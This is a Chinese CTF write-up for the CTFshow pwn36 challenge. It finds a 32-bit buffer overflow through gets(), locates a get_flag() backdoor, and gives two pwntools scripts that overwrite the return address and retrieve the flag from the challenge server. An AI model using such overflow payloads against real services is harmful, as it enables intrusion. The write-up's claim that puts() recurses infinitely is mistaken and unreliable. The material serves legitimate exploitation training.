CTFshow-PWN-栈溢出(pwn36)

存在后门函数,如何利用?

好好好,终于到了这种有后门函数的了

checksec 检查一下:

32 位程序,RELRO 保护部分开启

RWX:      Has RWX segments

存在可读可写可执行的段 

使用 ida32 看 main 函数

跟进 ctfshow 函数:

声明了一个长度为 36 字节的字符数组 s,调用 gets 函数,并将 s 数组作为参数传递给它,然后将 gets 函数的返回值作为 ctfshow 函数的返回值。

这里 s 数组存在栈溢出的可能,具体看后面的分析,

我们先记录造成栈溢出的函数的地址到 ebp 的距离:

这里是 28h,也就是 0x28,对于 32 位程序,我们 payload 还需要加 4 。

(根据程序是 32 位还是 64 位,对应加上 4 或 8 个字节的 ebp(栈底))

我们再来看一下 puts 函数:

这个特定的 puts 函数定义中,函数体内部再次调用了 puts 函数,并且传递了相同的参数 s。

存在问题:

每次调用 puts 函数时,它都会再次进入函数体内,然后又调用 puts 函数,这样就形成了无限递归调用。每次递归调用都会在栈上分配一些内存空间来存储函数的局部变量、参数和返回地址。由于这个递归没有终止条件,栈空间会被无限地占用,最终导致栈溢出。

栈溢出条件存在,那么接下来我们找可利用函数,

这里我们找到了一个 get_flag() 函数:

打开名为 "/ctfshow_flag" 的文件,从中读取内容,然后将内容输出到标准输出(就是输出 flag)

shift+F12并没有直接看到 get_flag() 函数

搜索一下:

发现 get_flag 函数的地址:0x8048586

也可以使用其他工具获取 get_flag() 函数的地址:

gdb ./pwn

gdb 是一个用于调试程序的工具,启动 gdb 并加载程序以供调试

disass get_flag

disass 是 GDB 的指令,这里是反汇编名为 get_flag 的函数

同样找到 get_flag 函数的地址:0x8048586,与前面 ida 看到的一样

最后就是编写 exp 了:

这种是手动构造填充部分,然后指定目标地址的方法

from pwn import *
p = remote('pwn.challenge.ctf.show', 28250)
payload = b'a'*(0x28+4) + p32(0x8048586)
p.sendline(payload)
p.interactive()

当然也可以使用 pwntools 库中的 cyclic 函数来生成填充部分:

cyclic 函数会生成一个特定长度的字符串,其中包含了重复的字符序列

from pwn import *
context.log_level = 'debug'
# p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28250)
# p.recv()
payload = cyclic(0x28+4) + p32(0x8048586)
p.sendline(payload)
p.interactive()

使用 python 运行我们的 exp 即可拿到 flag

ctfshow{9f91cd56-6118-46c2-b05d-df0ac9996aa6} 

相关推荐

  1. IOT <span style='color:red;'>pwn</span>

    IOT pwn

    2024-04-24 11:08:05      27 阅读
  2. HNCTF-<span style='color:red;'>PWN</span>

    HNCTF-PWN

    2024-04-24 11:08:05      9 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-24 11:08:05       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-24 11:08:05       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-24 11:08:05       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-24 11:08:05       18 阅读

热门阅读

  1. 算法(哈希表

    2024-04-24 11:08:05       16 阅读
  2. SQL Server 详细使用教程

    2024-04-24 11:08:05       16 阅读
  3. vue2 点击预览本地 word excle pdf 文件

    2024-04-24 11:08:05       18 阅读
  4. css实现拖拽悬浮球组件

    2024-04-24 11:08:05       17 阅读
  5. 零基础 Chrome 扩展开发指南

    2024-04-24 11:08:05       16 阅读
  6. F检验的步骤

    2024-04-24 11:08:05       12 阅读
  7. 代码随想录算法训练营day39

    2024-04-24 11:08:05       47 阅读
  8. 使用Python实现集成学习算法:Bagging与Boosting

    2024-04-24 11:08:05       31 阅读
  9. 富格林:有效技能维护出金盈利

    2024-04-24 11:08:05       17 阅读